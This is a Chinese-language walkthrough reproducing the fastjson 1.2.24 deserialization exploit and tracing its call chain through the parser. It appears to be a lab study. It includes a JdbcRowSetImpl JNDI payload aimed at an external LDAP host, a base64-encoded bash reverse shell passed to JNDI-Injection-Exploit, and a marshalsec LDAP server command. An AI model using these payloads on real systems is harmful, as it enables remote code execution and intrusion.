{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true}
測試執行
DNS解析記錄
利用JNDI工具進行注入
復現流程
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5My4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.193.130"
這里的-A指向的參數是攻擊機的IP地址,即我們的JNDI服務端的IP地址
將上述生代的各協議地址去替換POC中的地址
目標機器開啟監聽
反彈結果如下
成功進入容器
代碼
引入依賴
新建一個惡意類
使用命令 javac Exploit.java生成Exploit.class
對惡意的class文件所在的目錄開啟一個http服務
利用Java反序列化測試包執行如下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999
測試fastjson反序列化
public class TestFastJson {public static void main(String[] args) {String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}" ;//JSONObject.parseObject(payload);JSON.parse(payload);}
}
代碼分析
跟進parseObject方法
進入parse方法
再次進入parse方法
先判空處理
然后進入DefaultJSONParser方法
繼續跟
在DefaultJSONParser方法中:主要是用來判斷是以是什么方式開始,默認是以’{'開始,并且設置token為12
執行完DefaultJSONParser之后,進入parser.parse()
跟進這里的parse方法
這里根據token為12,然后case跳轉至:
進入parseObject方法
這里會通過默認的"{"來獲取到第一個參數也就是@type
到這里的時候就回去判斷key是不是@type,如果是@type就回去進行檢測并且去反序列化類
然后就會到TypeUtils.loadClass
注意在這里會判斷開始是不是以'['開頭
接著會檢查是不是以'L'開頭
接著就會刪除"L" ,然后繼續走loadCLass,會利用類加載器去加載我們指定的類
TypeUtils.loadClass執行結束之后,最后到getDeserializer
然后到deserializer.deserialze反序列化
接著進入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class
跟進parseField
然后這里非常重要的就是有一個smartMatch,這個smartMatch會進行一個通用匹配,可以匹配_開始以及-開始的變量:這個對另外一個調用鏈有用。
進入smartMatch方法之后
可以匹配_開始以及-開始的變量
接著會去調用setValue
從而觸發set方法
為field字段設置值,原理就是利用那個類加載器反射創建的類,進行反序列化獲取字段,在調用setvalue去設置值
鏈路如下:parse觸發--》parseObject--》TypeUtils.loadClass--》deserialze(類)--》parseField(解析字段)--》smartMeth(設置字段值)
各版本通用的POC參考:FastJson各版本通殺POC · 語雀